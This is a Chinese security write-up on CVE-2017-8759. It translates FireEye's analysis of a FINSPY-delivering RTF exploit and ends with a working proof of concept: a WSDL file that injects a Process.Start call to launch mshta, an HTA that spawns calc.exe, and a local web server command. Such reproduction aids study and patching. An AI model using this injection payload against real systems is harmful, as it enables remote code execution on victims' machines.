一个换行符引发的奥斯卡0day漏洞(CVE-2017-8759)复现

华盟原创文章投稿奖励计划

漏洞介绍

        FIreEye近期检测到一个恶意的利用CVE-2017-8759漏洞的微软Office RTF文档。

        CVE-2017-8759是SOAP WSDL分析器代码注入漏洞,在解析SOAP WSDL定义的内容中它允许攻击者注入任意代码。

        FireEye分析了这个攻击者使用的微软Word文档,它利用任意代码注入来下载和执行一个包含PowerShell命令的VB脚本。

        FireEye将这个漏洞的细节分享给了微软,然后协调了信息披露的时间,发布了修补该漏洞的补丁和安全指导,可以在这里找到它们。

        FireEye的邮件,终端以及网络产品都已经可以检测该恶意文档。

影响的.net版本

Microsoft .NET Framework 4.6.2

Microsoft .NET Framework 4.6.1

Microsoft .NET Framework 3.5.1

Microsoft .NET Framework 4.7

Microsoft .NET Framework 4.6

Microsoft .NET Framework 4.5.2

Microsoft .NET Framework 3.5

Microsoft .NET Framework 2.0 SP2

针对俄语目标的漏洞

        该恶意文档(Проект.doc)(MD5:fe5c4d6bb78e170abf5cf3741868ea4c)可能是针对俄语目标的。

        在CVE-2017-8759利用成功之后,该文档会下载多个组件(后面有详情),最终会加载一个FINSPY payload(MD5:a7b990d5f57b244dd17e9a937a41e7f5)。

        FINSPY恶意软件,也叫做FinFisher或者WingBird,是可以购买的用于“合法窃听”的软件。基于这个和之前FINSPY的使用,我们有更多的信心说这个恶意文档是一个针对俄语目标的网络间谍活动。

        根据FireEye动态威胁情报系统的更多的检测,根据不同client的行为关联,发现该样本在2017年7月就已经出现了。

CVE-2017-8759 WSDL 解析器代码注入

        代码注入漏洞是存在于WSDL解析模块的PrintClientProxy方法(http://referencesource.microsoft.com/ -System.Runtime.Remoting/metadata/wsdlparser.cs,6111)。

        IsValidUrl没有对提供的包含CRLF序列(换行回车)的数据进行正确的校验,这就允许了攻击者注入和执行任意代码。部分漏洞代码如图1所示。

1

当在SOAP响应中多个address被定义时,代码会在第一个地址后插入“//base.ConfigureProxy(this.GetType(),”字符串,注释了后面剩余的address。然而,如果恶意的address的还有一个CRLF,后面的代码就不会被注释。

        图2展示了对CRLF缺乏验证,System.Diagnostics.Process.Start方法会被注入。生成的代码会被.NET框架的csc.exe编译,然后作为DLL加载到Office可执行程序中。

1

在公网上散播的攻击

        FireEye检测到在外散播的攻击使用的是富文本(RTF)格式的文档,和我们之前报告的CVE-2017-0199文档类似。

        该恶意样本包含一个是利用更方便的嵌入的SOAP Moniker,如图3所示

1

样本从一个攻击者控制的服务器接收恶意的SOAP WSDL定义的数据。.NET框架中System.Runtime.Remoting.ni.dll中实现的WSDL解析器会解析内容然后生成一个.cs源代码到工作目录中。

        接着.NET框架的csc.exe编译该代码生成一个名字像http[url path].dll的库文件。然后微软的Office会加载这个库,完成漏洞利用。图4展示了漏洞利用加载的示例库文件。

1

在成功的利用中,注入的代码会创建一个新的进程,利用mshta.exe会从同一个服务器接收一个叫做“word.db”的HTA脚本。

        HTA脚本会从磁盘删除源代码,编译的DLL和PDB文件,然后下载执行叫做“left.jpg”的FINSPY恶意软件,虽然它是.jpg后缀名,类型是image/jpeg,但其实是个可执行文件。

        图5展示了恶意软件传输的PCAP细节。

1

该恶意软件会被放在%appdata%\Microsoft\Windows\OfficeUpdte-KB[ 6 random numbers ].exe中。图6展示了在Process Monitor中的进程创建链。

1

恶意软件

        Left.jpg (md5: a7b990d5f57b244dd17e9a937a41e7f5)是FINSPY的变体。它利用高强度的混淆代码开发了一个内置虚拟机以及其他的一些反分析技术,来增加逆向的难度。比如另个月单独的反分析技术是,它会解析自己的全路径,然后搜索是否存在他自己的MD5哈希字符串。很多分析工具和沙箱为了能保证准确的唯一文件名会重命名样本文件为MD5哈希。该样本会使用WininetStartupMutex0的mutex来保证单实例。

总结

        CVE-2017-8759是2017年FireEye发现的第二个分发FINSPY的0day。这个揭露说明签名资源对“合法窃听”的公司和他们用户都是可用的。此外,FINSPY买了多个不同的客户端,漏洞可以用于攻击其他的目标。

        CVE-2017-8759可能已经被更多的攻击者利用了。尽管我们没有证据,但是在2017年7月分析中,CVE-2017-0199已经被金融攻击者用来分发FINSPY。如果FINSPY的攻击者有之前使用的相同源码的漏洞,那么可能代码已经被卖给了更多的攻击者。

感谢

        感谢Dhanesh Kizhakkinan, Joseph Reyes, FireEye Labs Team, FireEye FLARE Team and FireEye iSIGHT Intelligence发布这个博客。同样感谢MSRC协助解决这个问题的工作人员。

漏洞利用

1

关于POC:

exploit.txt

<definitions
    xmlns="http://schemas.xmlsoap.org/wsdl/"
    xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
    xmlns:suds="http://www.w3.org/2000/wsdl/suds"
    xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
    xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">
    <portType name="PortType"/>
    <binding name="Binding" type="tns:PortType">
        <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
        <suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
    </binding>
    <service name="Service">
        <port name="Port" binding="tns:Binding">
            <soap:address location="http://127.0.0.1:8080?C:\Windows\System32\mshta.exe?http://127.0.0.1:8080/cmd.hta"/>
                        <soap:address location=";
                        if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
                                System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
                                System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
                        } //"/>
        </port>
    </service>
</definitions>

cmd.hta

 

<html>
<head>
<script language="VBScript">
Sub window_onload
	const impersonation = 3
	Const HIDDEN_WINDOW = 12
	Set Locator = CreateObject("WbemScripting.SWbemLocator")
	Set Service = Locator.ConnectServer()
	Service.Security_.ImpersonationLevel=impersonation
	Set objStartup = Service.Get("Win32_ProcessStartup")
	Set objConfig = objStartup.SpawnInstance_
	Set Process = Service.Get("Win32_Process")
	Error = Process.Create("calc.exe", null, objConfig, intProcessID)
	window.close()
end sub
</script>
</head>
</html>

开启python的web服务

python -m SimpleHTTPServer 8080

1

利用成功的GIF

0

防护建议

及时更新并安装微软2017年9月发布的补丁:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8759

CVE:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8759

参考:

https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html

文章出处:http://www.secfree.com/article-377.html

本文原创,作者:congtou,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/176609.html